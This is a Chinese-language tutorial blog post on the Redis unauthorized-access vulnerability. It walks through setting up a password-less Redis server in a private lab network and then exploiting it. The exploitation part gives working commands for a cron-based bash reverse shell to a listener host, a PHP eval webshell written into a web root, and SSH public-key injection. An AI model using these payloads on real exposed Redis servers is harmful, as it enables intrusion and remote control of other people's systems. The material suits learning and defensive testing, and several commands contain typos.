redis未授权访问

redis是高速缓存型数据库,主要用户缓存一些频繁使用的数据来缓解数据库的访问压力。而redis未授权访问漏洞是因为redis数据库使用的过程中没有设定密码,任何人都可以直接连接数据库,这既是未授权访问,这是个通用漏洞,部分版本。redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将redis服务暴露到公网上,如果再没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。

漏洞产生条件:redis绑定在0.0.0.0:6379,并且没有添加防火墙规则,直接暴露在公网;没有设置密码认证,可以免密码远程登录redis服务。

redis再最新版本中极难出现未授权访问的问题

redis是一种nosql数据库,数据存在内存中,读取快,通常用作缓存,但是有其致命的问题,服务器一旦崩溃,内存数据丢失,存储键值对key-value来存储数据,在老版本中没有密码 ,只有知道ip、能对外连接(端口6379开放),如果不对外连接,我们可以使用ssrf去访问本地redis协议,

redis是自动换行标准化执行(那不就刚好和gopher一样吗?换行操作)

redis安装配置

下载 - Redis

在192.168.81.151编译安装redis

复制代码
1、安装redis依赖
    yum install -y gcc tcl
2、解压,并且将文件放在/root
[root@client hql]# tar -xzf redis-6.2.14.tar.gz
3、进入redis目录,运行编译命令进行编译安装
[root@client ~]# cd redis-6.2.14/
[root@client redis-6.2.14]# make && make install
#默认安装路径在/usr/local/bin目录下,查看目录下的内容确保安装成功
4、启动redis
[root@client redis-6.2.14]# redis-server
[root@client redis-6.2.14]# redis-server redis.conf
5、停止redis进程
[root@client redis-6.2.14]# ps -ef | grep redis
root       10301    5177  0 10:52 pts/1    00:00:00 redis-server *:6379
6、修改配置文件
#备份配置文件
[root@client redis-6.2.14]# cp redis.conf redis.conf.bak
[root@client redis-6.2.14]# vim redis.conf
bind 127.0.0.1 -::1 #允许访问的地址,默认是127.0.0.1,会导致只能在本地访问,修改为0.0.0.0则可以任意IP地址访问
daemonize no #守护进程,修改为yes即可后台运行
#requirepass 123456 设置后访问fedis必须输入密码,因为这里我们要测试未授权访问,所以关掉密码
7、更改配置完启动
[root@client redis-6.2.14]# ps -ef | grep redis
root       10526       1  0 11:05 ?        00:00:00 redis-server 0.0.0.0:6379
8、为了方便控制redis,我们可以把redis添加为服务,就可以通过systemctl来控制redis了
#首先新建一个系统服务文件
[root@client system]# vim /etc/systemd/system/redis.service
#写入内容
[Unit]
Description=redis-server
After=network.target
​
[Service]
Type=forking
ExecStart=/usr/local/bin/redis-server /root/redis-6.2.14/redis.conf
PrivateTmp=true
​
[install]
WantedBy=multi-user.target
#重载系统服务
[root@client system]# systemctl daemon-reload 
#需要重启主机
reboot
#利用系统命令启动redis
[root@client redis-6.2.14]# systemctl start redis
#停止
systemctl stop redis
#重启
systemctl restart redis
#查看状态
systemctl status redis
#开机自启
systemctl enable redis
9、测试连接redis服务器,安装完redis之后,默认会安装一个本地的客户端redis-cli,可以通过这个歌客户端连接操作服务器
[root@client redis-6.2.14]# redis-cli
127.0.0.1:6379> 
#直接连接本地的redis数据库服务器,默认没有密码
[root@servie ~]# yum install redis -y #192.168.81.150
[root@servie ~]# redis-cli
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
[root@servie ~]# redis-cli -h 192.168.81.151
192.168.81.151:6379>  #连接成功

redis基本操作

redis默认端口6379

复制代码
#添加数据
set key value
#获取数据
get key
#删除数据
del key
#查看key
keys * 
#清空数据
flushall

redis配置操作

复制代码
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作(落盘)
复制代码
#例
set name hql
config set dir /home/ #设置工作目录
config set dbfilename hql.rdb #设置备份文件名
save

redis未授权访问漏洞危害(利用方式)

一、利用定时任务反弹shell

监听器:192.168.81.150

复制代码
nc -lvvp 4444

通过给目标主机的redis未授权访问漏洞写入反弹shell的指令

复制代码
redis-cli -h 192.168.81.151 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.81.150/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfielname root
save

成功反弹

二、利用redis写webshell

复制代码
config set dir /usr/local/nginx/html
config set dbfilename root
set test "<?php eval($_POST['123']); ?>"
save

过程与反弹shell一样,就不在赘述

三、利用公私钥认证写入

在linux中,有一个免密登录的功能,将自己的秘钥发送给对端,保存在author_keys文件里面,就可以免密登录。那我们就可以利用redis直接把公钥写进去,就可免密登录服务器了

过程遇上类似,我们直接把公钥写入到需要登录的redis服务器的密钥管理文件中,就可以实现免密登录了。

相关推荐
我不会起名字3225 小时前
Redis 从 0 到 1(十七):订单 30 分钟不支付自动关闭——ZSet 延迟队列 Go 实现
redis·go·延迟队列·zset·订单
利威尔xu7 小时前
Go IM 源码实战(13):30 个会话只有 2 个红点,未读数错在三条路径
redis·后端·微服务·面试·golang
will_net9 小时前
Redis集群部署+Redis 链接地址放入Aollo +c#项目接入Redis
redis·c#·bootstrap
用户69190268133911 小时前
Redis 1:简述Redis概念与Agent的联系
redis·后端·设计
小南家的青蛙12 小时前
华为云DCS全形态原生Redis命令兼容性测试方案
redis·华为云·兼容性·兼容性测试·dcs
xiaoqiMikko12 小时前
Redis 实战(三):持久化出错 —— fork 失败、磁盘写满、AOF 膨胀与损坏,逐个复现(6.2.4)
redis·后端
IT规划师13 小时前
面试中被嘲笑Token放在redis里,该如何应对?
redis·面试
kingx313 小时前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku